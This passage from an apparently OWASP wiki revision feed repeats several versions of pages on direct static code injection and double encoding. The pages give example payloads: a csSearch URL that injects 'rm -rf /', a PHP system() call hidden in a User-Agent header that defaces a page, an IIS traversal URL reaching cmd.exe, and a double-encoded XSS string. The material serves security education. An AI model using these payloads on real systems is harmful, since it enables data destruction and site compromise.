===Example 1===&lt;br /&gt;
This is a simple example of exploitation of CGISCRIPT.NET csSearch 2.3 vulnerability, published on Bugtraq ID: 4368.&lt;br /&gt;
By requesting the following URL to the server, it’s possible to execute commands defined on ‘’’’setup’’’ variable.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
 csSearch.cgi?command=savesetup&amp;amp;setup=''PERL_CODE_HERE''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For the classical example, it can be used the following command to remove all files from “/” folder:&lt;br /&gt;
csSearch.cgi?command=savesetup&amp;amp;setup=`rm%20-rf%20/`&lt;br /&gt;
&lt;br /&gt;
Note that the above command must be encoded in order to be accepted.	&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
This example exploits a vulnerability on Ultimate PHP Board (UPB) 1.9 (CVE-2003-0395), which allows an attacker to execute random php code. This happens because some user variables, like IP address and User-Agent, are stored in a file that is used by admin_iplog.php page to show user statistics. When an administrator browses this page, the previously injected code by a malicious request is executed. &lt;br /&gt;
The following example stores a malicious PHP code that will deface index.html page when administrator browses admin_iplog.php.&lt;br /&gt;
 GET /board/index.php HTTP/1.0&lt;br /&gt;
 User-Agent: &amp;lt;? system( &amp;quot;echo \'hacked\' &amp;gt; ../index.html&amp;quot; ); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Server-Side Includes (SSI) Injection | Server Side Includes]]&lt;br /&gt;
*[[ Direct Dynamic Code Evaluation ('Eval Injection')]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.seclab.tuwien.ac.at/advisories/TUVSA-0510-001.txt&lt;br /&gt;
&lt;br /&gt;
* http://marc.info/?l=bugtraq&amp;amp;m=105379741528925&amp;amp;w=2&lt;br /&gt;
&lt;br /&gt;
* http://archives.neohapsis.com/archives/bugtraq/2005-06/0002.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33125</id>
		<title>Direct Static Code Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33125"/>
				<updated>2008-07-02T11:39:54Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Direct Static Code Injection attack consists on injecting code directly onto the resource used by application while processing a user request. This is normally performed by tampering libraries and template files which are created based on user input without proper data sanitization. &lt;br /&gt;
Upon a user request to the modified resource, the actions defined on it will be executed at server side in the context of web server process.&lt;br /&gt;
&lt;br /&gt;
[[Server-Side Includes (SSI) Injection | Server Side Includes]] is considered a type of direct static code injection. It should not be confused with other types of code injection, like [[Cross Site Scripting | XSS]] (“Cross Site Scripting” or “HTML injection”) where the code is executed on client side.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
This is a simple example of exploitation of CGISCRIPT.NET csSearch 2.3 vulnerability, published on Bugtraq ID: 4368.&lt;br /&gt;
By requesting the following URL to the server, it’s possible to execute commands defined on ‘’’’setup’’’ variable.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
 csSearch.cgi?command=savesetup&amp;amp;setup=''PERL_CODE_HERE''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For the classical example, it can be used the following command to remove all files from “/” folder:&lt;br /&gt;
csSearch.cgi?command=savesetup&amp;amp;setup=`rm%20-rf%20/`&lt;br /&gt;
&lt;br /&gt;
Note that the above command must be encoded in order to be accepted.	&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
This example exploits a vulnerability on Ultimate PHP Board (UPB) 1.9 (CVE-2003-0395), which allows an attacker to execute random php code. This happens because some user variables, like IP address and User-Agent, are stored in a file that is used by admin_iplog.php page to show user statistics. When an administrator browses this page, the previously injected code by a malicious request is executed. &lt;br /&gt;
The following example stores a malicious PHP code that will deface index.html page when administrator browses admin_iplog.php.&lt;br /&gt;
 GET /board/index.php HTTP/1.0&lt;br /&gt;
 User-Agent: &amp;lt;? system( &amp;quot;echo \'hacked\' &amp;gt; ../index.html&amp;quot; ); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Server-Side Includes (SSI) Injection | Server Side Includes]]&lt;br /&gt;
*[[ Direct Dynamic Code Evaluation ('Eval Injection')]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.seclab.tuwien.ac.at/advisories/TUVSA-0510-001.txt&lt;br /&gt;
&lt;br /&gt;
* http://marc.info/?l=bugtraq&amp;amp;m=105379741528925&amp;amp;w=2&lt;br /&gt;
&lt;br /&gt;
* http://archives.neohapsis.com/archives/bugtraq/2005-06/0002.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33124</id>
		<title>Direct Static Code Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33124"/>
				<updated>2008-07-02T11:39:42Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Direct Static Code Injection attack consists on injecting code directly onto the resource used by application while processing a user request. This is normally performed by tampering libraries and template files which are created based on user input without proper data sanitization. &lt;br /&gt;
Upon a user request to the modified resource, the actions defined on it will be executed at server side in the context of web server process.&lt;br /&gt;
&lt;br /&gt;
[[Server-Side Includes (SSI) Injection | Server Side Includes]] is considered a type of direct static code injection. It should not be confused with other types of code injection, like [[Cross Site Scripting | XSS]] (“Cross Site Scripting” or “HTML injection”) where the code is executed on client side.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
This is a simple example of exploitation of CGISCRIPT.NET csSearch 2.3 vulnerability, published on Bugtraq ID: 4368.&lt;br /&gt;
By requesting the following URL to the server, it’s possible to execute commands defined on ‘’’’setup’’’ variable.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
 csSearch.cgi?command=savesetup&amp;amp;setup=''PERL_CODE_HERE''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For the classical example, it can be used the following command to remove all files from “/” folder:&lt;br /&gt;
csSearch.cgi?command=savesetup&amp;amp;setup=`rm%20-rf%20/`&lt;br /&gt;
&lt;br /&gt;
Note that the above command must be encoded in order to be accepted.	&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
This example exploits a vulnerability on Ultimate PHP Board (UPB) 1.9 (CVE-2003-0395), which allows an attacker to execute random php code. This happens because some user variables, like IP address and User-Agent, are stored in a file that is used by admin_iplog.php page to show user statistics. When an administrator browses this page, the previously injected code by a malicious request is executed. &lt;br /&gt;
The following example stores a malicious PHP code that will deface index.html page when administrator browses admin_iplog.php.&lt;br /&gt;
 GET /board/index.php HTTP/1.0&lt;br /&gt;
 User-Agent: &amp;lt;? system( &amp;quot;echo \'hacked\' &amp;gt; ../index.html&amp;quot; ); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Server-Side Includes (SSI) Injection | Server Side Includes]]&lt;br /&gt;
*[[ Direct Dynamic Code Evaluation ('Eval Injection')]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.seclab.tuwien.ac.at/advisories/TUVSA-0510-001.txt&lt;br /&gt;
&lt;br /&gt;
* http://marc.info/?l=bugtraq&amp;amp;m=105379741528925&amp;amp;w=2&lt;br /&gt;
&lt;br /&gt;
* http://archives.neohapsis.com/archives/bugtraq/2005-06/0002.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Double_Encoding&amp;diff=33123</id>
		<title>Double Encoding</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Double_Encoding&amp;diff=33123"/>
				<updated>2008-07-02T11:39:26Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack technique consists of encode user request parameters twice in hexadecimal format in order to bypass security controls or cause unexpected behavior from application. It's possible because the webserver accept and process client requests in many encoded forms&lt;br /&gt;
&lt;br /&gt;
By using double encoding it’s possible to bypass security filters that only decode user input once, being. the second decoding process executed by backend platform or modules that properly handle encoded data but don't have the corresponding security checks in place.&lt;br /&gt;
 &lt;br /&gt;
Attackers can inject double encoding in pathnames or query strings to bypass authentication schema and security filters in use by web application.&lt;br /&gt;
&lt;br /&gt;
There are some common characters sets that are used in Web applications attacks. For example, in directory traversal attacks, it uses “../” (dot-dot-slash) , while in XSS attacks, it uses “&amp;lt;” and “&amp;gt;” characters. These characters give hexadecimal representation that differs from normal data. &lt;br /&gt;
&lt;br /&gt;
For example, “../” (dot-dot-slash) characters represents %2E%2E%2f in hexadecimal representation. When the % symbol is encoded again, its representation in hexadecimal code is %25. The resultant from double encoding process ”../”(dot-dot-slash) would be %252E%252E%252F:&lt;br /&gt;
 &lt;br /&gt;
 Hexadecimal encode of “../” represents &amp;quot;%2E%2E%2f&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 Then encoding the “%” represents &amp;quot;%25&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 Double encoding of “../” represents &amp;quot;%252E%252E%252F&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1 ===&lt;br /&gt;
This example presents an old well-know vulnerability found on IIS versions 4.0 and 5.0, where an attacker could bypass authorization schema and gain access to any file on the same drive as the web root directory due an issue on decoding mechanism. For more details about folder traversal vulnerability, see [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0333  CVE 2001-0333]. &lt;br /&gt;
&lt;br /&gt;
In this scenario, the victim has an published executable directory (e.g. cgi) that’s stored on the same partition of Windows system folder. An attacker could execute arbitrary commands on the web server by submitting the following URL: &lt;br /&gt;
&lt;br /&gt;
Original URL:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, the application uses a security check filter that refuses requests containing characters like “../”. By double encoding the URL, it’s possible to bypass security the filter:&lt;br /&gt;
&lt;br /&gt;
Double encoded URL:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\ &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2 ===&lt;br /&gt;
A double encoding URL can be used to exploit XSS attack in order to bypass a built-in XSS detection module. Depending on implementation, the first decoding process is performed by HTTP protocol and the resultant encoded URL will bypass XSS filter, since it has no mechanisms to improve detection. A simple example XSS would be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This malicious code could be inserted into a vulnerable application,  resulting in a alert window with message “XSS”. However the web application can have a character filter such as “&amp;lt; “, “&amp;gt;” and “/”, since they are used to perform web application attacks. The attacker could use double encoding technique to bypass the filter and exploit client’s session. The encoding process for this Java script is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt;&amp;lt;b&amp;gt; Char &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt;&amp;lt;b&amp;gt; Hex encode &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt;&amp;lt;b&amp;gt; Then encoding '%' &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt;&amp;lt;b&amp;gt; Double encode &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “&amp;lt;” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%3C” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%253C” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “/” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%2F” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25”  &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%252F” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “&amp;gt;” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%3E” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25”  &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%253E” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finally, the malicious double encoding code is:&lt;br /&gt;
&lt;br /&gt;
 %253Cscript%253Ealert('XSS')%253C%252Fscript%253E&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[XSS Attacks]]&lt;br /&gt;
*[[Path Traversal]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1945 &lt;br /&gt;
&lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0054&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Resource Manipulation]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Double_Encoding&amp;diff=33122</id>
		<title>Double Encoding</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Double_Encoding&amp;diff=33122"/>
				<updated>2008-07-02T11:39:14Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack technique consists of encode user request parameters twice in hexadecimal format in order to bypass security controls or cause unexpected behavior from application. It's possible because the webserver accept and process client requests in many encoded forms&lt;br /&gt;
&lt;br /&gt;
By using double encoding it’s possible to bypass security filters that only decode user input once, being. the second decoding process executed by backend platform or modules that properly handle encoded data but don't have the corresponding security checks in place.&lt;br /&gt;
 &lt;br /&gt;
Attackers can inject double encoding in pathnames or query strings to bypass authentication schema and security filters in use by web application.&lt;br /&gt;
&lt;br /&gt;
There are some common characters sets that are used in Web applications attacks. For example, in directory traversal attacks, it uses “../” (dot-dot-slash) , while in XSS attacks, it uses “&amp;lt;” and “&amp;gt;” characters. These characters give hexadecimal representation that differs from normal data. &lt;br /&gt;
&lt;br /&gt;
For example, “../” (dot-dot-slash) characters represents %2E%2E%2f in hexadecimal representation. When the % symbol is encoded again, its representation in hexadecimal code is %25. The resultant from double encoding process ”../”(dot-dot-slash) would be %252E%252E%252F:&lt;br /&gt;
 &lt;br /&gt;
 Hexadecimal encode of “../” represents &amp;quot;%2E%2E%2f&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 Then encoding the “%” represents &amp;quot;%25&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 Double encoding of “../” represents &amp;quot;%252E%252E%252F&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1 ===&lt;br /&gt;
This example presents an old well-know vulnerability found on IIS versions 4.0 and 5.0, where an attacker could bypass authorization schema and gain access to any file on the same drive as the web root directory due an issue on decoding mechanism. For more details about folder traversal vulnerability, see [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0333  CVE 2001-0333]. &lt;br /&gt;
&lt;br /&gt;
In this scenario, the victim has an published executable directory (e.g. cgi) that’s stored on the same partition of Windows system folder. An attacker could execute arbitrary commands on the web server by submitting the following URL: &lt;br /&gt;
&lt;br /&gt;
Original URL:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, the application uses a security check filter that refuses requests containing characters like “../”. By double encoding the URL, it’s possible to bypass security the filter:&lt;br /&gt;
&lt;br /&gt;
Double encoded URL:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\ &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2 ===&lt;br /&gt;
A double encoding URL can be used to exploit XSS attack in order to bypass a built-in XSS detection module. Depending on implementation, the first decoding process is performed by HTTP protocol and the resultant encoded URL will bypass XSS filter, since it has no mechanisms to improve detection. A simple example XSS would be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This malicious code could be inserted into a vulnerable application,  resulting in a alert window with message “XSS”. However the web application can have a character filter such as “&amp;lt; “, “&amp;gt;” and “/”, since they are used to perform web application attacks. The attacker could use double encoding technique to bypass the filter and exploit client’s session. The encoding process for this Java script is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt;&amp;lt;b&amp;gt; Char &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt;&amp;lt;b&amp;gt; Hex encode &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt;&amp;lt;b&amp;gt; Then encoding '%' &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt;&amp;lt;b&amp;gt; Double encode &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “&amp;lt;” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%3C” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%253C” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “/” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%2F” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25”  &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%252F” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “&amp;gt;” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%3E” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25”  &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%253E” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finally, the malicious double encoding code is:&lt;br /&gt;
&lt;br /&gt;
 %253Cscript%253Ealert('XSS')%253C%252Fscript%253E&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[XSS Attacks]]&lt;br /&gt;
*[[Path Traversal]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1945 &lt;br /&gt;
&lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0054&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Resource Manipulation]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Double_Encoding&amp;diff=33121</id>
		<title>Double Encoding</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Double_Encoding&amp;diff=33121"/>
				<updated>2008-07-02T11:39:03Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack technique consists of encode user request parameters twice in hexadecimal format in order to bypass security controls or cause unexpected behavior from application. It's possible because the webserver accept and process client requests in many encoded forms&lt;br /&gt;
&lt;br /&gt;
By using double encoding it’s possible to bypass security filters that only decode user input once, being. the second decoding process executed by backend platform or modules that properly handle encoded data but don't have the corresponding security checks in place.&lt;br /&gt;
 &lt;br /&gt;
Attackers can inject double encoding in pathnames or query strings to bypass authentication schema and security filters in use by web application.&lt;br /&gt;
&lt;br /&gt;
There are some common characters sets that are used in Web applications attacks. For example, in directory traversal attacks, it uses “../” (dot-dot-slash) , while in XSS attacks, it uses “&amp;lt;” and “&amp;gt;” characters. These characters give hexadecimal representation that differs from normal data. &lt;br /&gt;
&lt;br /&gt;
For example, “../” (dot-dot-slash) characters represents %2E%2E%2f in hexadecimal representation. When the % symbol is encoded again, its representation in hexadecimal code is %25. The resultant from double encoding process ”../”(dot-dot-slash) would be %252E%252E%252F:&lt;br /&gt;
 &lt;br /&gt;
 Hexadecimal encode of “../” represents &amp;quot;%2E%2E%2f&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 Then encoding the “%” represents &amp;quot;%25&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 Double encoding of “../” represents &amp;quot;%252E%252E%252F&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1 ===&lt;br /&gt;
This example presents an old well-know vulnerability found on IIS versions 4.0 and 5.0, where an attacker could bypass authorization schema and gain access to any file on the same drive as the web root directory due an issue on decoding mechanism. For more details about folder traversal vulnerability, see [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0333  CVE 2001-0333]. &lt;br /&gt;
